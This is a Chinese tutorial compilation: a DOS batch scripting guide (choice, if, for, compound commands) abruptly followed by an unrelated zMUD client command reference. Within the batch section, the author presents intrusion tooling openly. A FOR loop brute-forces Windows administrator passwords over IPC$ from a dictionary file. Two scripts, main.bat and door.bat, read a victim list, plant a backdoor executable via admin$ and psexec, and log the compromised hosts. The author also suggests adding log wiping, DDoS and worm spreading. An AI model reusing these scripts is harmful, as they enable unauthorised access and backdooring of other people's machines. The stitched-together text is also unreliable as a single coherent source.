如: choice /c:dme defrag,mem,end

將顯示
defrag,mem,end[D,M,E]?

Sample:
Sample.bat的內容如下:

@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (應先判斷數值最高的錯誤碼)
if errorlevel 2 goto mem
if errotlevel 1 goto end

:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye

此文件運行後,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ,然後if語句將作出判斷,d表示執行

標號為defrag的程序段,m表示執行標號為mem的程序段,e表示執行標號為end的程序段,每個程序段最後

都以goto end將程序跳到end標號處,然後程序將顯示good bye,文件結束。

9.If 命令

if 表示將判斷是否符合規定的條件,從而決定執行不同的命令。

有三種格式:

1)、if "參數" == "字元串" 待執行的命令
參數如果等於指定的字元串,則條件成立,運行命令,否則運行下一句。(注意是兩個等號)

如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms

2)、if exist 文件名 待執行的命令
如果有指定的文件,則條件成立,運行命令,否則運行下一句。

如if exist config.sys edit config.sys

3)、if errorlevel / if not errorlevel 數字 待執行的命令
如果返回碼等於指定的數字,則條件成立,運行命令,否則運行下一句。

如if errorlevel 2 goto x2

DOS程序運行時都會返回一個數字給DOS,稱為錯誤碼errorlevel或稱返回碼,常見的返回碼為0、1。

10.for 命令

for 命令是一個比較復雜的命令,主要用於參數在指定的范圍內循環執行命令。
在批處理文件中使用 FOR 命令時,指定變數請使用 %%variable

for {%variable│%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一個單一字母可替換的參數。
(set) 指定一個或一組文件。可以使用通配符。
command 指定對每個文件執行的命令。
command-parameters 為特定命令指定參數或命令行開關。

在批處理文件中使用 FOR 命令時,指定變數請使用 %%variable
而不要用 %variable。變數名稱是區分大小寫的,所以 %i 不同於 %I

如果命令擴展名被啟用,下列額外的 FOR 命令格式會受到支持:
FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配符,則指定與目錄名匹配,而不與文件名匹配。

FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters]

檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的FOR 語句。如果在 /R 後沒有指定目錄,則使用

當前目錄。如果集僅為一個單點(.)字元,則枚舉該目錄樹。

FOR /L %variable IN (start,step,end) DO command [command-parameters]

該集表示以增量形式從開始到結束的一個數字序列。
因此,(1,1,5) 將產生序列 1 2 3 4 5,(5,-1,1) 將產生
序列 (5 4 3 2 1)。

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN ('command') DO command

或者,如果有 usebackq 選項:

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN ('command') DO command

filenameset 為一個或多個文件名。繼續到 filenameset 中的下一個文件之前,每份文件都已被打開、讀

取並經過處理。
處理包括讀取文件,將其分成一行行的文字,然後將每行解析成零或更多的符號。然後用已找到的符號字

符串變數值調用 For 循環。以默認方式,/F 通過每個文件的每一行中分開的第一個空白符號。跳過空白

行。您可通過指定可選 "options" 參數替代默認解析操作。這個帶引號的字元串包括一個或多個指定不同

解析選項的關鍵字。這些關鍵字為:

eol=c - 指一個行注釋字元的結尾(就一個)
skip=n - 指在文件開始時忽略的行數。
delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的默認分隔符集。
tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代的 for 本身。這會導致額外變數名稱的
格式為一個范圍。通過 nth 符號指定 m 符號字元串中的最後一個字元星號,那麼額外的變數將在最後一

個符號解析之分配並接受行的保留文本。
usebackq - 指定新語法已在下類情況中使用:
在作為命令執行一個後引號的字元串並且引號字元為文字字元串命令並允許在 file-set中使用雙引號擴起

文件名稱。

sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將每行中的第二個和第三個符號傳遞給 for

程序體;用逗號和/或 空格定界符號。請注意,這個 for 程序體的語句引用 %i 來取得第二個符號,引用

%j 來取得第三個符號,引用 %k來取得第三個符號後的所有剩餘符號。對於帶有空格的文件名,您需要用

雙引號將文件名括起來。為了用這種方式來使用雙引號,您還需要使用 usebackq 選項,否則,雙引號會

被理解成是用作定義某個要分析的字元串的。

%i 專門在 for 語句中得到說明,%j 和 %k 是通過tokens= 選項專門得到說明的。您可以通過 tokens=

一行指定最多 26 個符號,只要不試圖說明一個高於字母 'z' 或'Z' 的變數。請記住,FOR 變數是單一字

母、分大小寫和全局的;同時不能有 52 個以上都在使用中。

您還可以在相鄰字元串上使用 FOR /F 分析邏輯;方法是,用單引號將括弧之間的 filenameset 括起來。

這樣,該字元串會被當作一個文件中的一個單一輸入行。

最後,您可以用 FOR /F 命令來分析命令的輸出。方法是,將括弧之間的 filenameset 變成一個反括字元

串。該字元串會被當作命令行,傳遞到一個子 CMD.EXE,其輸出會被抓進內存,並被當作文件分析。因此

,以下例子:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

會枚舉當前環境中的環境變數名稱。

另外,FOR 變數參照的替換已被增強。您現在可以使用下列選項語法:

~I - 刪除任何引號("),擴充 %I
%~fI - 將 %I 擴充到一個完全合格的路徑名
%~dI - 僅將 %I 擴充到一個驅動器號
%~pI - 僅將 %I 擴充到一個路徑
%~nI - 僅將 %I 擴充到一個文件名
%~xI - 僅將 %I 擴充到一個文件擴展名
%~sI - 擴充的路徑只含有短名
%~aI - 將 %I 擴充到文件的文件屬性
%~tI - 將 %I 擴充到文件的日期/時間
%~zI - 將 %I 擴充到文件的大小
%~$PATH:I - 查找列在路徑環境變數的目錄,並將 %I 擴充到找到的第一個完全合格的名稱。如果環境變

量未被定義,或者沒有找到文件,此組合鍵會擴充空字元串

可以組合修飾符來得到多重結果:

%~dpI - 僅將 %I 擴充到一個驅動器號和路徑
%~nxI - 僅將 %I 擴充到一個文件名和擴展名
%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名
%~dp$PATH:i - 查找列在路徑環境變數的目錄,並將 %I 擴充到找到的第一個驅動器號和路徑。
%~ftzaI - 將 %I 擴充到類似輸出線路的 DIR

在以上例子中,%I 和 PATH 可用其他有效數值代替。%~ 語法用一個有效的 FOR 變數名終止。選取類似

%I 的大寫變數名比較易讀,而且避免與不分大小寫的組合鍵混淆。

以上是MS的官方幫助,下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。

sample2:

利用For命令來實現對一台目標Win2k主機的暴力密碼破解。

我們用net use file://ip/ipc$ "password" /u:"administrator"來嘗試這和目標主機進行連接,當成功時記下

密碼。
最主要的命令是一條:for /f i% in (dict.txt) do net use file://ip/ipc$ "i%" /u:"administrator"
用i%來表示admin的密碼,在dict.txt中這個取i%的值用net use 命令來連接。然後將程序運行結果傳遞給

find命令--
for /f i%% in (dict.txt) do net use file://ip/ipc$ "i%%" /u:"administrator"│find ":命令成功完

成">>D:\ok.txt ,這樣就ko了。

sample3:

你有沒有過手裡有大量肉雞等著你去種後門+木馬呢?,當數量特別多的時候,原本很開心的一件事都會

變得很郁悶:)。文章開頭就談到使用批處理文件,可以簡化日常或重復性任務。那麼如何實現呢?呵呵

,看下去你就會明白了。

主要命令也只有一條:(在批處理文件中使用 FOR 命令時,指定變數使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法請參見上面的sample1,在這里它表示按順序將victim.txt中的內容傳遞給door.bat中的參數

%i %j %k。
而cultivate.bat無非就是用net use命令來建立IPC$連接,並木馬+後門到victim,然後用返回碼

(If errorlever =)來篩選成功種植後門的主機,並echo出來,或者echo到指定的文件。
delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這里你也一定明白這victim.txt里的內容

是什麼樣的了。應該根據%%i %%j %%k表示的對象來排列,一般就是 ip password username。

代碼雛形:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------

------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------

------

------------------- cut here then save as a batchfile(I call it door.bat) ------------------

-----------
@net use file://%1/ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection ............OK
@ windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3

>>ko.txt
@psexec file://%1/ c:\winnt\system32\windrv32.exe
@psexec file://%1/ net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------

------------

這只是一個自動種植後門批處理的雛形,兩個批處理和後門程序(Windrv32.exe),PSexec.exe需放在統一

目錄下.批處理內容
尚可擴展,例如:加入清除日誌+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之具備自動傳播功

能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.

二.如何在批處理文件中使用參數

批處理中可以使用參數,一般從1%到 9%這九個,當有多個參數時需要用shift來移動,這種情況並不多見

,我們就不考慮它了。

sample1:fomat.bat

@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
這個例子用於連續地格式化幾張軟盤,所以用的時候需在dos窗口輸入fomat.bat a,呵呵,好像有點畫蛇添

足了~

sample2:

當我們要建立一個IPC$連接地時候總要輸入一大串命令,弄不好就打錯了,所以我們不如把一些固定命令

寫入一個批處理,把肉雞地ip password username 當著參數來賦給這個批處理,這樣就不用每次都打命令

了。
@echo off
@net use file://1%/ipc$ "2%" /u:"3%" 注意哦,這里PASSWORD是第二個參數。
@if errorlevel 1 echo connection failed
怎麼樣,使用參數還是比較簡單的吧?你這么帥一定學會了.No.3

三.如何使用組合命令(Compound Command)

1.&

Usage:第一條命令 & 第二條命令 [& 第三條命令...]

用這種方法可以同時執行多條命令,而不管命令是否執行成功

Sample:
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:51 .
2002-05-14 23:51 ..
2002-05-14 23:51 14 sometips.gif

2.&&
Usage:第一條命令 && 第二條命令 [&& 第三條命令...]

用這種方法可以同時執行多條命令,當碰到執行出錯的命令後將不執行後面的命令,如果一直沒有出錯則

一直執行完所有命令;

Sample:
C:\>dir z: && dir c:\Ex4rch
The system cannot find the path specified.

C:\>dir c:\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:55 .
2002-05-14 23:55 ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.

在做備份的時候可能會用到這種命令會比較簡單,如:
dir file&://192.168.0.1/database/backup.mdb && file&://192.168.0.1/database/backup.mdb

E:\backup
如果遠程伺服器上存在backup.mdb文件,就執行命令,若不存在該文件則不執行命令。這種用法

可以替換IF exist了.

3.││

Usage:第一條命令 ││ 第二條命令 [││ 第三條命令...]

用這種方法可以同時執行多條命令,當碰到執行正確的命令後將不執行後面的命令,如果沒有出現正確的

命令則一直執行完所有命令;

Sample:
C:\Ex4rch>dir sometips.gif ││ del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of C:\Ex4rch

2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free

組合命令使用的例子:

sample:
@ trojan.exe file://%1/admin$/system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3

>>victim.txt

Ⅶ 通配符的使用方法.

通配符的使用

在使用文件時,主文件名和擴展名中還可以使用通配符「*」「?」。其中「*」代表從它所在位置直到「.」(主文件名中為到「.」前,擴展名為「.」後)的所有字元;「?」代表它所在位置的任意字元。

實例:

A.?? 表示文件主名為A,擴展名不超過兩個字元的文件

???.com 表示文件名不超過三個字元,擴展名為COM的文件

*.* 表示所有文件

ABC.* 表示文件名為ABC,具有任意擴展名的文件

*.EXE 表示以EXE為擴展名的所有文件

A*.* 表示以字元A開頭的所有文件 例如: ABC.txt ABD.com等

A??.* 表示文件主名以A開頭且不超過三個字元,具有任意擴展名

的文件

tabs)
%x
匹配任何數量的非空格
[range]
匹配任何數量的在[range]中列出的字元
^
強制從一行的開始進行匹配
$
強制匹配到一行的結束
(pattern)
保存匹配的式樣到參數%1~%9
~
包括其中的字元不會被解釋為特殊字元
{val1|val2|val3|...}
匹配其中列出的任何特殊的串
{^string}
不匹配其中包括的串

使用[range]時,你可以在其中列出需要的字元例如 [abc] 或使用范圍 [a-c] 。

為了匹配特殊字元本身,可以使用~將特殊字元括住,例如:~[test~] 將匹配字元串
[test] 而不是作為 [range] 來匹配。

只使用$可以匹配一個空行。

別名中使用參數的例子

我們在解謎過程中向npc提出的問題通常是以:

ask npc about here
ask npc about rumors
ask npc about name

這樣三個命令開始的,把他們定義成別名可以節省一些時間,像這樣:

#al askn {ask %1 about here;ask %1 about here;ask %1 about name}

可如果npc的名字有兩個單詞,或一堆同名的npc中你要問其中第二個,就需要把別名
中的參數改為%-1,此時執行askn bing 2或askn tian bing就不會出錯了。

為了更好的理解參數的作用,試試執行下面的命令:

#al tt test1 %1 test2 %2 test3 %-1 test4 %-2

看看執行{tt a1 a2 a3 a4 a5}的結果,一切都清楚了吧?

表達式

當執行運算時,如果所有參數均為數字,則執行數學運算,否則執行字元串操作。以
下是一些常用的表達式(v1和v2代表變數或另外的表達式):

v1+v2
如果v1或v2不是數字,則執行字元串相加
v1-v2
從v1中減去v2
v1*v2
相乘
v1/v2
v1除v2,結果不含小數
v1\v2
取模
v1&v2
邏輯運算and
v1 and v2
同上
v1 | v2
邏輯運算or
v1 or v2
同上
v1 xor v2
邏輯運算xor
v1 = v2
如果v1等於v2返回真
v1 > v2
如果v1大於v2返回真
v1 < v2
如果v1小於v2返回真
v1 >= v2
如果v1大於等於v2返回真
v1 <= v2
如果v1小於等於v2返回真
v1 <> v2
如果v1不等於v2返回真
v1 != v2
同上
v1 =~ v2
如果表達式v1中的pattern包含v2,返回真
v1 ~= v2
同上
-v1
返回v1的負值
!v1
邏輯運算非

命令:
number]

Syntax:牋?#number command

這個命令向MUD重復發送number次命令,number必須是一個常數,如果要使用變數,請
使用loop命令。當前已經重復的計數保存在系統變數%repeatnum中。

實例:

#4 fight bing %i

命令將被解釋成{fight bing 1;fight bing 2;...;fight bing 4}發往MUD10

abort

Syntax:牋?#AB

停止分析處理當前的命令行中#ab以後的部分

實例:

get all corpse;#ABORT;split
在這個例子中,split將被忽略

action

Syntax:牋?#AC pattern command [classname]
Related:牋?#TRIGGER #T+ #T- #IGNORE

這是zMUD中最有用的特性之一。當從MUD中收到一條匹配的文本時,預先定義的命令將
被執行。這條命令的第一個參數是被匹配的文本,如果文本中包含空格,你需要將它
用括弧{}括起來。pattern中能夠包含特殊的pattern matching symbols 和通配符。
第二個參數是將要被執行的命令,超過一個單詞的命令也需要使用括弧{}。第三個參
數用於給不同的觸發動作命名分類,便於管理。高級的觸發設置必須使用參數
(Preferences)對話框,在對話框中,你可以決定觸發的動作是緊跟在匹配的文本之
後還是在新的一行中執行。

一個簡單的例子:

#AC {你買下一件藤甲} {wear jia}

這樣,無論何時只要你買了藤甲,立刻可以自動穿上。

自動登錄的例子:

#AC {^您的英文名字:} {river}
#AC {^請輸入相應密碼:} {12345}

然後在參數對話框中關閉 Trigger on Newline 設置並且打開 Trigger on Prompt 這
樣名字和密碼將緊接著提示行輸入而不會等待換行。注意,字元 ^ 將強制從一行的頭
部開始匹配。

觸發中的參數

#AC {^You get (%d) coins} {chat I get %1coin } rich

當你看到一行「You get [number] coins」時,其中的數值將被存放在變數%1中,其
後執行的命令可以使用這個數值。在這個例子中用到了類(class)名rich,這樣你就
能夠使用t+和t-命令來打開或關閉這個觸發。

add

Syntax:牋?#AD variable amount

這個例子允許你做一個簡單的算術計算。amount可以是數值或變數。如果要做減法,
可以使用負值。復雜一些的算術計算,請使用 #math 命令。

實例:

#AD moves 1
給變數@moves加一

#ACTION {You get (%d) coins} {#AD gold %1}
當撿到錢時,把撿錢的數量加到 @gold 變數中

alarm

Syntax:牋?#ALA timepattern command
Related:牋?#TRIGGER

建立一個基於時間的觸發,而不是根據從MUD中獲得的信息觸發。timepattern可以是
特定的時間或包括通配符。如果在minus前加上(-),則表示連線時間而不是實際時
間。

timepattern 的格式表示成 hours:minutes:seconds ,其中的小時和分鍾是可選項,
如果不指明,則假定小時和分鍾被通配符*取代。通配符*可以代替任何數值,而*10可
以匹配10、20、30等等。你也可以指定幾個數值用(|)來分隔。Finally, you can
put parenthesis around the wildcards to save the values matched to the
%1..%9 parameters。(這句話我不懂,誰來幫我?)

實例:

#ALARM -30:00 {save}
這里的 hour 沒有指定,所以默認為*。 因此,這個例子將在連線後每隔30分鍾執行
save 命令。

#ALARM 3:00:00 {gossip Why arent you sleeping?}
命令將在凌晨3點觸發。

#ALARM -59:(55|56|57|58|59) {#SHOW 60-%1}
這個命令在你連線時每個小時的最後5秒在屏幕上顯示 5 4 3 2 1。

alias

Syntax:牋?#AL [aliasname] [string]
Related:牋?#VARIABLE

保存一個或一組命令到一個較短的別名中。當執行別名時,命令中的變數能夠被擴
展。如果需要延遲變數擴展,可以使用兩個變數標志(%%)。

如果不帶參數執行命令alias,所有的別名將被列出在輸出窗口。如果在命令alias中
指定別名,被指定的別名將被顯示。

別名能夠用<tab>鍵擴展。在命令行中鍵入一個別名並按下<tab>鍵,命令行中的別名
將被替換成別名中包含的命令。

如果在定義別名時使用參數(%1,%2,...),在命令行中緊隨別名的文本將取代這些
參數。特殊的參數%-1到%-99表示-n之後的所有文本。(使用參數的例子)

實例

#AL fs {fill waterskin}

當執行fs時,fill waterskin將被送往MUD。

#AL fs {fill @container}

在別名中使用變數,變數可以在購買容器時用觸發賦值。

#AL make {#ALIAS %1 {cast %1 %%1]

在這個例子中,執行make heal將發出#ALIAS heal {cast heal %1}命令,這樣就建立
了一個新的別名heal。

all

Syntax:牋?#ALL command

發送一個命令到所有角色的窗口

實例:

#ALL quit
發送 quit 命令到所有激活的角色窗口。

backup

Syntax:牋?#BA
Related:牋?#PATH #RETRACE

從當前正在記錄的路徑中刪除最後一步

實例:

如果當前路徑是 .nsew 那麽執行 #BA 將使其成為 .nse 。如果當前路徑是 .n4s 則
執行 #BA 後將成為 .n3s 。?

beep

Syntax:牋?#BEEP [value]
Related:牋?#PLAY

在pc機喇叭中發聲,value 對應相應的 windows 事件。

實例:

#BEEP 16
播放windows 事件 16 的聲音。

#BEEP;#WAIT 500;#BEEP
beep兩次,中間間隔0.5秒。

button

Syntax:牋?#BU number

觸發一個自定義按鈕,編號(從1至16)決定觸發的按鈕。number 可以是一個變數。

實例:

#BU 1

觸發第一個按鈕,效果相當於在屏幕上按下這個按鈕

c+

Syntax:牋?#C+ [name]
Related:牋?#C-

開始獲取文本到窗口name中,如果省略name,文本將送入command editor,(如果
editor中的capturing設置可用)。如果在preferences對話框中選中Capture
Commands設置,鍵入的命令也將被送往這個窗口。

例子:

#c+ temp

開始拷貝所有從MUD中獲得的文本到名為temp的窗口中

c-

Syntax:牋?#C-
Related:牋?#C+

停止獲取文本到另一個窗口

capture

Syntax:牋?#CAP [number] [name]
Related:牋?Editor window

獲取最後number行送到另一個窗口。如果省略number,則只獲取最後一行。如果
number是-1,所有的行將被拷貝。如果name省略,發送的目標將是command editor
window。

例子

#tr {咖啡告訴你:救命!} {#cap tell}

將tell的內容存入名為tell的窗口,避免忽略。

case

Syntax:牋?#CA index command1 [commandn]

允許從命令列表中選擇一個命令執行。index參數決定執行哪一個命令。如果index大
於列表中的命令數,將從第一個開始重新選擇。例如,列表中有4個命令,而index=
6,則第二個命令將被執行。你也可以用變數%random隨機的選擇需執行的命令。

實例:

#CASE 2 {first command} {second command} {third command}

執行第二個命令

#CASE @joincmd {join} {rescue}

如果變數@join是奇數,執行join,偶數執行rescue。

#CASE %random {Hello} {Hi there} {Hiya} {Hi}

隨機選擇問候語。

character

Syntax:牋?#CH
Related:牋?#HOST #PW

從Charater atabase中返回當前角色的名字

colse

Syntax:牋?#CL filenum
Related:牋?#FILE

根據給定的文件號關閉文件,文件必須是已經用#file命令打開的。

實例:

#CLOSE 1

關閉一號文件

clr

清除屏幕。如果要清空scrollback buffer並收回內存,請使用菜單命令Empty。

color

Syntax:牋?#CO attribute [pattern]
Related:牋?#HIGHLIGHT

如果省略pattern參數,這個命令將改變最後一行的顏色。顏色屬性見下表。如果包括
pattern參數,將建立一個顏色觸發,引起觸發的條件除了字元對應外還需要有相同的
顏色。

Color values:

black牋?
0
blue牋
1
green
2
cyan
3
red
4
magenta
5
brown
6
gray
7
tellow
14
white
15
bold
128

要顯示亮色,在基本值上加8,作為背景顏色,需要用基本值乘16。例如:使用紅色背
景的值是4*16或64。在前景上使用粗體字,需要再加128。這樣,在藍色背景上的粗體
白字的值是:128+1*16+15=159。

實例:

#CO red

將最後一行的顏色變成紅色

#CO bold,red

將最後一行變成紅色粗體

connect

Syntax:牋?#CON
Related:牋?#DISCONNECT

斷開並重新連接到當前的MUD,與菜單命令File/Reconnect 相同

cr

Syntax:牋?#CR

送一個空行到MUD

cw

Syntax:牋?#CW color
Related:牋?#COLOR

在一次成功的觸發之後,改變引起觸發的內容的顏色

實例:

#TRIGGER {告訴你} {#CW red}

當有人tell 你時,顯示較為醒目的顏色

dde

Syntax:牋?#DDE server topic macro

這個命令允許你通過動態數據交換使用外部程序。zMUD也有一些內建的函數用於DDE:

%dde(server,topic,item)

%ddepoke(server,topic,item,value)

%ddemacro(server,topic,macro)

如果你使用%ddeopen(server,topic)函數打開DDE連接,在其他函數中不再需要指明
server和topic,這個函數是全局性的,對於zMUD的任何窗口均有效。結束DDE連接
時,使用%ddeclose()函數。

zMUD也擁有自己的DDE服務,server名是zmud,topic也是zmud,item為data。

實例:

#DDE NETSCAPE WWW_OpenURL {<a target="_blank" href="http://www.zg169.net/~czmud/index.html}">http://www.zg169.net/~czmud/index.html}</a>

使用netscape打開zMUD從入門到精通主頁,因為~zMUD的特殊字元,所以需要再加一個
~寫成~。

#DDE ZMUD ZMUD {chat* bye;quit}

使用DDE向MUD發出命令

%dde(Excel,TEST.XLS,R1C1)

使用excel裝入test.xls並返回單元R1C1的值。

%ddepoke(Excel,TEST.XLS,R1C1,@tank)

向test.xls的R1C1單元寫入變數@tank的值

誰能用DDE寫一個自動對詩的機器人?

default

Syntax:牋?#DE [special-char-string]
Related:牋?#NODEF

保存你當前使用的特殊字元並恢復系統默認的特殊字元,在使用現成的命令腳本時,
這個命令可以保證腳本中的標准特殊字元被正確識別。使用#NODEF命令將恢復你自定
義的特殊字元。

zMUD中使用的特殊字元有

1
Command Char
#
將緊隨的字串解釋為命令
2
Separator Char
;
分隔多個命令
3
Variable Char
@
用於擴展變數的值
4
History Char
!
調用命令緩沖區中的命令
5
Parameter Char
%
指出系統變數和函數
6
Movement Char
.
調用路徑變數或函數
7
Focus Char
:
向指定窗口發命令
8
Quote Char
~
緊隨其後的特殊字元當作普通字元

9
Must be a space at the end
*?
*fool

實例:

#DEF

保存你當前使用的特殊字元並恢復系統默認的特殊字元

#DEF {xx$xxxxx }

保存你當前使用的特殊字元並回復默認的特殊字元,然後將@改為$。

disconnect

Syntax:牋?#DI
Related:牋?#CONNECT

斷開當前的連接

實例:

#TRIGGER {你已陷入半昏迷狀態} {#DI}

斷線就不會被殺死嗎?我沒試過,hehe。

ECHO

Syntax:牋?#EC string
Related:牋?#SAY

在當前窗口中顯示字串,類似與say命令。除了用於離線測試trigger似乎沒有別的用
處。

實例:

ERASE

Syntax:牋?#ERA filenum
Related:牋?#FILE

從硬碟中刪除用#file打開的文件

實例:

#FILE 1 old.log
#ERA 1

刪除old.log文件,需要先用#file命令打開。

EXEC

Syntax:牋?#EXEC command

執行一個命令,命令中可以包括變數

實例:

#TRIGGER {^咖啡告訴你(*)} {#EXEC %1}

執行咖啡的指令。(我可沒那麽傻)

FILE

Syntax:牋?#FI number name
Related:牋?#READ #WRITE

打開文件准備讀寫。zMUD可以打開10個文件,文件號1~5打開文本文件,能夠按順序
讀或追加,文件號6~10打開記錄文件用於隨機讀寫。如果nuber已經用於打開的文
件,則前一個文件將被關閉。打開的文件只能位於zmud.exe所在的目錄且不能是
EXE,HLP和MUD文件。

實例:

#FILE 1 test.txt

打開text.txt作為文件1。

FIND

Syntax:牋?#FIN

找出在當前地圖上的定位,通過look命令用當前房間的描述比較地圖數據定位匹配的
房間,與automapper的菜單命令find作用相同。

FORALL

Syntax:#FO list command

逐條列出字串列表內容並執行命令。列表使用|分隔,逐個賦值給變數%i,並執行命
令。

實例:

list=sys|ups|yahoo

#froall @list {kill %i}

我一定是瘋了。

FREEZE

Syntax:牋?#FR [value]

切分屏幕查看以前的顯示,value=0表示恢復屏幕。這條命令相當於Ctrl-z或單擊右邊
的滾動條。(所以沒什麼用)

GAG

Syntax:牋?#GA [pattern]
Related:牋?#UNGAG

如果pattern省略,命令將從屏幕上刪除最後一行。如果包括pattern,將刪除所有匹
配行,相當於#ACTION pattern '#GAG'。

實例:

#ga 咖啡

這叫眼不見為凈。

HELP

Syntax:牋?#HE [command]

不帶參數相當與從菜單中選擇help,否則顯示指定命令的參數。

H+

Syntax:牋?#H+
Related:牋?#H-

從命令緩沖區中取得下一條命令,只在使用過#h-命令後有效,相當於向下的箭頭鍵。

H-

Syntax:牋?#H-
Related:牋?#H+

從命令緩沖區中取得上一條命令,相當於向上的箭頭鍵。

HISTORY

Syntax:牋?#HIS

顯示命令緩沖區中的命令,每條顯示的命令都帶有行號,可以用!加行號來執行某條命
令。!!執行最新的命令。!+字母將執行最近一個以!後字母開頭的命令。命令緩沖區
的大小默認為20,可由參數對話框改變。

你也可以用左鍵單擊命令輸入行左邊的三角以彈出交互命令緩沖區對話框來選擇命
令,單擊將命令送至命令輸入行以供編輯,雙擊將命令直接送往MUD。

<tab>鍵可以配合命令緩沖區的使用,如果你用!加數字或字母,再按下<tab>鍵,命令
將拷入命令輸入行以供編輯。

實例:

#HI

顯示最後20條命令

!!

執行最後一條命令

!3

執行命令緩沖區中的最後一條命令

!k

執行最後一條以k開頭的命令

!k<TAB>

將最後一條以k開頭的命令拷入命令輸入行以供編輯

HIGHLIGHT

Syntax:牋?#HI [pattern]
Related:牋?#COLOR

如果省略pattern,最後一行文本將以高亮顯示,如果包括pattern,匹配的文本將以
高亮顯示。相當於命令#ACTION pattern '#HIGHLIGHT'。

HOST

Syntax:牋?#HO
Related:牋?#CHAR #PW

返回當前連接的主機名

IF

Syntax:牋?#IF expression true-command [false-command]

執行條件分支,如果表達式為真,執行true-command,否則執行falise-command(可
選)。表達式中可以包含變數和運運算元。

實例:

#if (@qn>30) {learn_skills}

在戰斗中如果潛能達到了30,執行別名learn_skills返回師父處學習。

#if (@hp>10) {exercise @hp} {exert recover}

如果氣大於10就修煉內功,否則補氣。

#IF (@line =~ "You receive (%d) coins") {split %1}

如果變數@line與pattern "You receive (%d) coins"匹配,執行{split %1},判斷匹
配需要使用「=~」。

IGNORE

Syntax:牋?#IG
Related:牋?#T+ #T-

打開或關閉所有觸發,第一次執行#ig 關閉所有觸發,第二次執行恢復正常。

INPUT

Syntax:牋?#IN string

將文本放入命令輸入行,替換當前內容

實例:

#in get @item

擴展變數item後將命令置入命令輸入行

KEY

Syntax:牋?#KE key command

定義按鍵執行的命令,key值需註明按鍵的全名,例如:F1,CTRL-A 或 ALT-F2

實例:

#key F1 eat baozi

定義F1鍵執行eat baozi 命令

<ALT-D>={drink jiudai}

定義 ALT-D 鍵執行 drink jiudai 命令

KILLALL

Syntax:牋?#KILLALL

刪除所有的別名、宏、觸發、<tab>縮寫

LMAP

Syntax:牋?#LM path command
Related:牋?#LOOP

穿越指定的路徑並在每個房間執行指定的命令,變數%i將記錄房間數

實例:

#LMAP 3sn {#SHOW %roomname(%i)}

從當前的地圖定位向南走三步,向北走一步,並顯示每個房間的名稱

LOAD

Syntax:牋?#LOA filename
Related:牋?#SAVE

裝入指定的設置文件,filename中可以使用變數。注意:裝入新的設置文件時,原來
的設置文件中的改變不會被保存

實例:

#load dc

裝入設置文件dc.mud。(.mud是默認的擴展名)

<F1>={#load combat};<F2>={#load cocial}

為戰爭與和平定製的設置文件分別用F1和F2載入

LOOK

Syntax:牋?#LOOK

執行MUD的look命令並重新寫入地圖的房間數據

LOOP

Syntax:牋?#LOO range command

重復執行由range指定數量的命令,range包括最小值和最大值,中間用逗號分隔,如
果range中只有一個數字,默認的最小值是1,循環的次數記錄在變數%i中,可在命令
中調用。

實例:

#LOO 3 north

向MUD中送入north命令3次

#LOO 3,4 {get all from corpse %i}

取出第三和第四具屍體中的所有東西

#LOO @num {eat baozi}

吃包子@num口

LOG

Syntax:牋?#LO [filename]

開始在給定的文件中記錄從MUD中獲得的文本,如果文件不存在,則建立文件並開始記
錄,如果文件已存在,則打開存在的文件並追加記錄。省略參數用於開關記錄

實例:

#LO test.txt

開始將MUD的所有輸出記入test.txt

#LO

開關記錄,如果正在記錄,該命令將停止記錄,否則開始記錄

MAP

Syntax:牋?#MAP direction
Related:牋?#PATH

在當前路徑上增加一個方向

#MAP north

如果當前路徑是.s,則更新為.sn,同時向北移動一步

MATH

Syntax:牋?#MAT variable expression
Related:牋?#ADD

將表達式的結果賦值給變數。表達式中可以包括數字、邏輯運算和字元串函數,表達
式中包含的變數將被擴展。

實例:

#MATH test (1+3)*4

將計算結果16賦值給變數test

#MATH test2 @test-4

